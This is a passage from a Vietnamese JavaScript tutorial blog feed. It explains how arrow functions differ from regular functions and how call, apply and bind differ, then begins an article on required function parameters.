punctuation">.</span>name<span class="token punctuation">,</span> myDog<span class="token punctuation">.</span>color<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// TypeError: Dog is not a constructor</span></code></pre></div> <h3 id="arrow-function-không-có-thuộc-tính-prototype" style="position:relative;"><a href="#arrow-function-kh%C3%B4ng-c%C3%B3-thu%E1%BB%99c-t%C3%ADnh-prototype" aria-label="arrow function không có thuộc tính prototype permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Arrow function không có thuộc tính <code>prototype</code></h3> <p>Mọi <a href="/object-la-gi-object-trong-javascript/">đối tượng</a> trong JavaScript đều có thuộc tính <code>prototype</code> và <a href="/ke-thua-co-ban-trong-javascript/">kế thừa</a> cũng theo <code>prototype</code>.</p> <p>Tuy nhiên, nếu arrow function đã không thể làm constructor cho object thì điều này cũng hoàn toàn hợp lý.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> <span class="token function-variable function">Foo</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token class-name">Foo</span><span class="token punctuation">.</span>prototype<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <h3 id="arrow-function-không-được-hoisted" style="position:relative;"><a href="#arrow-function-kh%C3%B4ng-%C4%91%C6%B0%E1%BB%A3c-hoisted" aria-label="arrow function không được hoisted permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Arrow function không được hoisted</h3> <p>Để hiểu thêm về <strong>hoisting</strong> bạn có thể tham khảo thêm tại bài viết: <a href="https://scotch.io/tutorials/understanding-hoisting-in-javascript">Understanding Hoisting in JavaScript</a>.</p> <p>Về cơ bản, hoisting được hiểu là <strong>biến và hàm được đưa lên đầu của phạm vi</strong> biến, hàm trước khi đoạn code đó được thực hiện.</p> <p><strong>Arrow function không được hoisted</strong>. Nghĩa là bạn phải định nghĩa arrow function trước khi sử dụng nó.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// sử dụng hàm sau khi định nghĩa</span> <span class="token keyword">let</span> <span class="token function-variable function">myFunc1</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">myFunc1</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// OK</span> <span class="token comment">// sử dụng hàm trước khi định nghĩa</span> <span class="token function">myFunc2</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// => ReferenceError: myFunc2 is not defined</span> <span class="token keyword">let</span> <span class="token function-variable function">myFunc2</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span><span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Ngược lại, <strong>function declaration được hoisted</strong> nên bạn có thể gọi hàm trước khi định nghĩa nó.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">myFunc</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// OK</span> <span class="token keyword">function</span> <span class="token function">myFunc</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span><span class="token punctuation">}</span></code></pre></div> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Trên đây là một số điểm giúp bạn phân biệt arrow function và function trong JavaScript. Để tiện theo dõi, mình tóm tắt lại các đặc điểm khác nhau của chúng như sau:</p> <ul> <li>Cú pháp</li> <li>Arrow function thường ngắn gọn hơn function</li> <li>Arrow function không bind <code>this</code></li> <li>Arrow function không bind <code>arguments</code></li> <li>Arrow function không phù hợp làm phương thức cho object</li> <li>Arrow function không thể sử dụng làm hàm khởi tạo</li> <li>Arrow function không có thuộc tính <code>prototype</code></li> <li>Arrow function không được hoisted</li> </ul> <p>Tham khảo:</p> <ul> <li><a href="/ham-la-gi-ham-trong-javascript/">Hàm là gì? Hàm trong JavaScript</a></li> <li><a href="/function-expression-trong-javascript/">Function expression trong JavaScript</a></li> <li><a href="/arrow-function-la-gi-arrow-function-trong-js/">Arrow function là gì? Arrow function trong JS</a></li> </ul>[email protected]<![CDATA[Phân biệt call, apply và bind trong JavaScript]]><![CDATA[Gần đây, mình có đọc được cách sử dụng ba hàm call, apply và bind trong JavaScript. Đọc xong thấy khó hiểu quá nên mình quyết định viết một bài so sánh về ba hàm này, cũng như cách…]]>https://completejavascript.com/phan-biet-call-apply-va-bind-trong-javascript/https://completejavascript.com/phan-biet-call-apply-va-bind-trong-javascript/<![CDATA[Câu hỏi JS Cơ bản]]>Sun, 19 Dec 2021 06:19:42 GMT<p>Gần đây, mình có đọc được cách sử dụng ba hàm <code>call</code>, <code>apply</code> và <code>bind</code> trong JavaScript.</p> <p>Đọc xong thấy khó hiểu quá nên mình quyết định viết một bài so sánh về ba hàm này, cũng như cách sử dụng chúng.</p> <p>Hy vọng bài viết sẽ giúp bạn <strong>phân biệt được call, apply và bind</strong> trong JavaScript.</p> <h2 id="prototype-của-function" style="position:relative;"><a href="#prototype-c%E1%BB%A7a-function" aria-label="prototype của function permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Prototype của function</h2> <p>Ba hàm <code>call</code>, <code>apply</code> và <code>bind</code> là các <a href="/cac-khia-canh-lap-trinh-huong-doi-tuong-trong-javascript/">prototype</a> của <a href="/ham-la-gi-ham-trong-javascript/">Function</a>. Nên chỉ có Function mới gọi được 3 hàm này.</p> <p>Sở dĩ, một Function có thể gọi function khác vì trong JavaScript, Function cũng là một loại <a href="/object-la-gi-object-trong-javascript/">Object</a>. Mà đã là Object thì sẽ có prototype, hay nói cách khác là gọi được phương thức của nó.</p> <p>Bạn có thể tham khảo ba phương thức <code>call</code>, <code>apply</code> và <code>bind</code> tại các bài viết sau:</p> <ul> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/call">Function.prototype.call()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply">Function.prototype.apply()</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/bind">Function.prototype.bind()</a></li> </ul> <h2 id="tóm-tắt-nội-dung-của-3-hàm" style="position:relative;"><a href="#t%C3%B3m-t%E1%BA%AFt-n%E1%BB%99i-dung-c%E1%BB%A7a-3-h%C3%A0m" aria-label="tóm tắt nội dung của 3 hàm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tóm tắt nội dung của 3 hàm</h2> <p>Bạn có thể nhớ nội dung của <code>call</code>, <code>apply</code> và <code>bind</code> một cách ngắn gọn như sau:</p> <h3 id="call" style="position:relative;"><a href="#call" aria-label="call permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>call</h3> <p>Gọi hàm và cho phép bạn truyền vào một object và các đối số phân cách nhau bởi dấu phẩy (<strong>C</strong>omma)</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">fun</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>thisArg<span class="token punctuation">,</span> arg1<span class="token punctuation">,</span> arg2<span class="token punctuation">,</span> <span class="token operator">...</span><span class="token punctuation">)</span></code></pre></div> <h3 id="apply" style="position:relative;"><a href="#apply" aria-label="apply permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>apply</h3> <p>Gọi hàm và cho phép bạn truyền vào một object và các đối số thông qua mảng (<strong>A</strong>rray)</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token function">fun</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span>thisArg<span class="token punctuation">,</span> <span class="token punctuation">[</span>argsArray<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <h3 id="bind" style="position:relative;"><a href="#bind" aria-label="bind permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>bind</h3> <p>Trả về một hàm mới, cho phép bạn truyền vào một object và các đối số phân cách nhau bởi dấu phẩy.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> newFunction <span class="token operator">=</span> <span class="token function">fun</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>thisArg<span class="token punctuation">[</span><span class="token punctuation">,</span> arg1<span class="token punctuation">[</span><span class="token punctuation">,</span> arg2<span class="token punctuation">[</span><span class="token punctuation">,</span> <span class="token operator">...</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">]</span><span class="token punctuation">)</span></code></pre></div> <h2 id="so-sánh-call-apply-và-bind-thông-qua-ví-dụ" style="position:relative;"><a href="#so-s%C3%A1nh-call-apply-v%C3%A0-bind-th%C3%B4ng-qua-v%C3%AD-d%E1%BB%A5" aria-label="so sánh call apply và bind thông qua ví dụ permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>So sánh call, apply và bind thông qua ví dụ</h2> <h3 id="hàm-call" style="position:relative;"><a href="#h%C3%A0m-call" aria-label="hàm call permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm call</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"Jon"</span><span class="token punctuation">,</span> <span class="token literal-property property">lastName</span><span class="token operator">:</span> <span class="token string">"Kuperman"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> person2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"Kelly"</span><span class="token punctuation">,</span> <span class="token literal-property property">lastName</span><span class="token operator">:</span> <span class="token string">"King"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">say</span><span class="token punctuation">(</span><span class="token parameter">greeting1<span class="token punctuation">,</span> greeting2</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> greeting1 <span class="token operator">+</span> <span class="token string">","</span> <span class="token operator">+</span> greeting2 <span class="token operator">+</span> <span class="token string">" "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>firstName <span class="token operator">+</span> <span class="token string">" "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>lastName <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">say</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>person1<span class="token punctuation">,</span> <span class="token string">"Hello"</span><span class="token punctuation">,</span> <span class="token string">"Good morning"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello,Good morning Jon Kuperman</span> <span class="token function">say</span><span class="token punctuation">.</span><span class="token function">call</span><span class="token punctuation">(</span>person2<span class="token punctuation">,</span> <span class="token string">"Hello"</span><span class="token punctuation">,</span> <span class="token string">"Good morning"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello,Good morning Kelly King</span></code></pre></div> <h3 id="hàm-apply" style="position:relative;"><a href="#h%C3%A0m-apply" aria-label="hàm apply permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm apply</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"Jon"</span><span class="token punctuation">,</span> <span class="token literal-property property">lastName</span><span class="token operator">:</span> <span class="token string">"Kuperman"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> person2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"Kelly"</span><span class="token punctuation">,</span> <span class="token literal-property property">lastName</span><span class="token operator">:</span> <span class="token string">"King"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">say</span><span class="token punctuation">(</span><span class="token parameter">greeting0<span class="token punctuation">,</span> greeting1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> greeting0 <span class="token operator">+</span> <span class="token string">","</span> <span class="token operator">+</span> greeting1 <span class="token operator">+</span> <span class="token string">" "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>firstName <span class="token operator">+</span> <span class="token string">" "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>lastName <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">say</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span>person1<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"Hello"</span><span class="token punctuation">,</span> <span class="token string">"Good moring"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello,Good moring Jon Kuperman</span> <span class="token function">say</span><span class="token punctuation">.</span><span class="token function">apply</span><span class="token punctuation">(</span>person2<span class="token punctuation">,</span> <span class="token punctuation">[</span><span class="token string">"Hello"</span><span class="token punctuation">,</span> <span class="token string">"Good moring"</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello,Good moring Kelly King</span></code></pre></div> <h3 id="hàm-bind" style="position:relative;"><a href="#h%C3%A0m-bind" aria-label="hàm bind permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm bind</h3> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> person1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"Jon"</span><span class="token punctuation">,</span> <span class="token literal-property property">lastName</span><span class="token operator">:</span> <span class="token string">"Kuperman"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> person2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">firstName</span><span class="token operator">:</span> <span class="token string">"Kelly"</span><span class="token punctuation">,</span> <span class="token literal-property property">lastName</span><span class="token operator">:</span> <span class="token string">"King"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">say</span><span class="token punctuation">(</span><span class="token parameter">greeting0<span class="token punctuation">,</span> greeting1</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span> greeting0 <span class="token operator">+</span> <span class="token string">","</span> <span class="token operator">+</span> greeting1 <span class="token operator">+</span> <span class="token string">" "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>firstName <span class="token operator">+</span> <span class="token string">" "</span> <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>lastName <span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> sayHelloJon <span class="token operator">=</span> <span class="token function">say</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>person1<span class="token punctuation">,</span> <span class="token string">"Hello"</span><span class="token punctuation">,</span> <span class="token string">"Good morning"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> sayHelloKelly <span class="token operator">=</span> <span class="token function">say</span><span class="token punctuation">.</span><span class="token function">bind</span><span class="token punctuation">(</span>person2<span class="token punctuation">,</span> <span class="token string">"Hello"</span><span class="token punctuation">,</span> <span class="token string">"Good morning"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token function">sayHelloJon</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello,Good morning Jon Kuperman</span> <span class="token function">sayHelloKelly</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Hello,Good morning Kelly King</span></code></pre></div> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <ul> <li>Nhìn chung, hàm <code>call</code> và <code>apply</code> là gần giống nhau. Chúng đều gọi hàm trực tiếp. Chỉ khác ở cách truyền tham số vào (với <strong>c</strong>all thì đối số phân cách bởi dấu phẩy <strong>c</strong>omma và với <strong>a</strong>pply thì đối số cho bởi mảng <strong>a</strong>rray)</li> <li>Hàm <code>bind</code> thì hơi khác hơn một chút. Hàm này không gọi hàm trực tiếp mà trả về một hàm mới. Sau đó, bạn có thể sử dụng hàm mới này. Về cách truyền tham số vào thì hàm <code>bind</code> giống với hàm <code>call</code>.</li> </ul> <p>Trên đây là một số sự khác nhau giữa <code>call</code>, <code>apply</code> và <code>bind</code> trong JavaScript. Hy vọng là đủ để bạn phân biệt được <code>call</code>, <code>apply</code> và <code>bind</code> trong JavaScript và biết cách sử dụng chúng.</p> <p><strong>Tham khảo:</strong></p> <ul> <li><a href="http://eloquentjavascript.net/05_higher_order.html">Higher-Order Functions</a></li> <li><a href="/ham-la-gi-ham-trong-javascript/">Hàm là gì? Hàm trong JavaScript</a></li> <li><a href="/object-la-gi-object-trong-javascript/">Object là gì? Object trong JavaScript</a></li> <li><a href="/phuong-thuc-object-va-this-trong-javascript/">Phương thức của Object và this trong JavaScript</a></li> </ul>[email protected]<![CDATA[Làm sao để bắt buộc truyền tham số vào hàm?]]><![CDATA[Khi lập trình, nhiều hàm phải bắt buộc truyền tham số vào. Ngược lại thì hàm sẽ không có ý nghĩa gì cả. Vì vậy, bài viết này sẽ giới thiệu với bạn cách để làm được điều đó. Trước…]]>https://completejavascript.com/lam-sao-bat-buoc-truyen-tham-so-vao-ham/https://completejavascript.com/lam-sao-bat-buoc-truyen-tham-so-vao-ham/<![CDATA[Câu hỏi JS Cơ bản]]>Sun, 19 Dec 2021 06:15:00 GMT<p>Khi lập trình, nhiều hàm <strong>phải bắt buộc truyền tham số vào</strong>. Ngược lại thì hàm sẽ không có ý nghĩa gì cả. Vì vậy, bài viết này sẽ giới thiệu với bạn cách để làm được điều đó.</p> <p>Trước khi bắt đầu, mình sẽ tìm hiểu về <strong>tham số mặc định của hàm</strong> trước.</p> <h2 id="tham-số-mặc-định-của-hàm" style="position:relative;"><a href="#tham-s%E1%BB%91-m%E1%BA%B7c-%C4%91%E1%BB%8Bnh-c%E1%BB%A7a-h%C3%A0m" aria-label="tham số mặc định của hàm permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tham số mặc định của hàm</h2> <p>Trong JavaScript, khi bạn không truyền tham số vào <a href="/ham-la-gi-ham-trong-javascript/">hàm</a> thì giá trị của tham số trong hàm là <strong>undefined</strong>, ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">sayHello</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Hello </span><span class="token interpolation"><span class="token interpolation-punctuation punctuation">${</span>name<span class="token interpolation-punctuation punctuation">}</span></span><span class="token string">!</span><span class="token template-punctuation string">`</span></span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">sayHello</span><span class="token 